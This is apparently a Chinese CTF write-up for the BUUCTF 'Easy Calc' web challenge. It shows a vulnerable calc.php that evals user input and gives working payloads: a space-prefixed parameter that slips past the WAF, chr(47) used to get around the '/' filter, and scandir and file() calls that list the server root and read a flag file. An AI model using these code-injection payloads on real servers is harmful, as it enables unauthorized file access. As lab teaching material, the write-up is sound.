BUUCTF在线评测-练习场-WebCTF习题[RoarCTF 2019]Easy Calc1-flag获取、解析
解题思路
打开靶场,有个计算器类似的东西
老规矩看源码,这里贴一下核心部分
<!--I've set up WAF to ensure security.-->
<script>$('#calc').submit(function(){$.ajax({url:"calc.php?num="+encodeURIComponent($("#content").val()),type:'GET',success:function(data){$("#result").html(`<div class="alert alert-success"><strong>答案:</strong>${data}</div>`);},error:function(){alert("这啥?算不来!");}})return false;})
</script>
比较明显是做了过滤,而且提示用了WAF确保安全,这里是一个坑。然后,我们可以发现一个calc.php,并且可以传参,访问试试
<?php
error_reporting(0);
if(!isset($_GET['num'])){show_source(__FILE__);
}else{$str = $_GET['num'];$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");}}eval('echo '.$str.';');
}
?>
展示了过滤源码,过滤掉了很多字符,因此我们要绕过该过滤,并利用下面的eval执行我们想要的命令
eval('echo '.$str.';');
首先就是WAF的坑,这里我们尝试传参num,只要等于英文字符,就禁止访问
这里需要绕过WAF,要不然执行不了注入的命令。使用的payload是空格+num传参绕过WAF
/calc.php?%20num=
这里利用的是php的解析绕过,WAF只认num参数,那么我们加个空格或者加号,即可绕过。然后利用php解析漏洞,php解析url参数时会自动去掉空格或者加号,仍然解析成num进行传参。
然后执行
/calc.php?%20num=var_dump(scandir(chr(47)))
var_dump(scandir(chr(47)))
这行 PHP 代码的作用是 扫描并打印服务器根目录(/
)下的所有文件和目录。下面详细分解其逻辑:
chr(47)
这里是为了绕过过滤,因为/被过滤掉了
-
chr()
函数:将 ASCII 码转换为对应字符。 -
ASCII 码
47
对应字符/
(正斜杠)。 -
结果:
chr(47)
返回字符串"/"
(服务器根目录)。
scandir("/")
的作用
-
scandir()
函数:扫描指定目录,返回文件和子目录的数组。 -
参数
"/"
表示 系统的根目录(Linux/Unix 的顶级目录)。
var_dump()
的作用
-
输出变量的 类型和结构信息。
-
对于数组,会递归打印每个元素的 键、值、数据类型、长度
得到
有个f1agg是我们感兴趣的
/calc.php?%20num=var_dump(file(chr(47).f1agg))
利用file函数读取,这里需要注意使用.拼接/和f1agg形成整个字符串,因为chr(47)会输出单个字符串,不会自动与f1agg连接
总结
有一定难度,需要了解很多函数以及waf绕过,特别是对php代码的理解。